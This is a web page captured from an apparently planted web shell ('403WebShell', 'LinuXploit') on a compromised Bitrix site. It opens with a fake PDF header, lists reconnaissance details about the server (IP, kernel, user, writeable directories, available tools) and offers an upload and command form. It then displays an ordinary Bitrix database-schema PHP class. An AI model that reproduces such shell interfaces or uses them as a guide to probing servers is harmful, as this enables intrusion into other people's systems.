%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.222.162.252
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/perfmon/lib/sql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/perfmon/lib/sql/base_object.php
<?php
namespace Bitrix\Perfmon\Sql;

/**
 * Class BaseObject
 * Base class for all schema objects such as tables, columns, indexes, etc.
 * @package Bitrix\Perfmon\Sql
 */
abstract class BaseObject
{
	/** @var BaseObject|null */
	public $parent = null;
	public $name = '';
	public $body = '';
	protected $ciName = '';

	/**
	 * @param string $name Name of the table.
	 */
	function __construct($name = '')
	{
		$this->name = (string)$name;
		$this->ciName = $this->getCompareName($this->name);
	}

	/**
	 * Sets source code for object.
	 *
	 * @param string $body The body.
	 *
	 * @return BaseObject
	 */
	public function setBody($body)
	{
		$this->body = trim($body);
		return $this;
	}

	/**
	 * Sets parent for object.
	 * <p>
	 * For example Table for Column.
	 *
	 * @param BaseObject $parent Parent object.
	 *
	 * @return BaseObject
	 */
	public function setParent(BaseObject $parent = null)
	{
		$this->parent = $parent;
		return $this;
	}

	/**
	 * Returns "unquoted" name of the object.
	 *
	 * @param array|string $name Name or array of names to unquote.
	 *
	 * @return array|string
	 */
	final public function getUnquotedName($name = null)
	{
		if ($name === null && $this->name)
		{
			return $this->getUnquotedName($this->name);
		}
		elseif (is_array($name))
		{
			foreach ($name as $key => $value)
			{
				$name[$key] = $this->getUnquotedName($value);
			}
		}
		elseif ($name[0] == '`')
			$name = trim($name, '`');
		elseif ($name[0] == '"')
			$name = trim($name, '"');
		elseif ($name[0] == '[')
			$name = trim($name, '[]');
		return $name;
	}

	/**
	 * Returns "lowercased" name of the object.
	 * <p>
	 * If name is not quoted then it made lowercase.
	 *
	 * @return string
	 */
	final public function getLowercasedName()
	{
		if ($this->name[0] == '`')
			return $this->name;
		elseif ($this->name[0] == '"')
			return $this->name;
		elseif ($this->name[0] == '[')
			return $this->name;
		else
			return mb_strtolower($this->name);
	}

	/**
	 * Returns "normalized" name of the table.
	 * <p>
	 * If name is not quoted then it made uppercase.
	 *
	 * @param string $name Table name.
	 * @return string
	 */
	final public static function getCompareName($name)
	{
		if ($name[0] == '`')
			return $name;
		elseif ($name[0] == '"')
			return $name;
		elseif ($name[0] == '[')
			return $name;
		else
			return mb_strtoupper($name);
	}

	/**
	 * Compares name of the table with given.
	 * <p>
	 * If name has no quotes when comparison is case insensitive.
	 *
	 * @param string $name Table name to compare.
	 * @return int
	 * @see strcmp
	 */
	final public function compareName($name)
	{
		return strcmp($this->ciName, $this->getCompareName($name));
	}

	/**
	 * Return DDL or commentary for object creation.
	 *
	 * @param string $dbType Database type.
	 *
	 * @return array|string
	 */
	public function getCreateDdl($dbType = '')
	{
		return "// ".get_class($this).":getCreateDdl not implemented";
	}

	/**
	 * Return DDL or commentary for object destruction.
	 *
	 * @param string $dbType Database type.
	 *
	 * @return array|string
	 */
	public function getDropDdl($dbType = '')
	{
		return "// ".get_class($this).":getDropDdl not implemented";
	}

	/**
	 * Return DDL or commentary for object modification.
	 *
	 * @param BaseObject $target Target object.
	 * @param string $dbType Database type.
	 *
	 * @return array|string
	 */
	public function getModifyDdl(BaseObject $target, $dbType = '')
	{
		return "// ".get_class($this).":getModifyDdl not implemented";
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit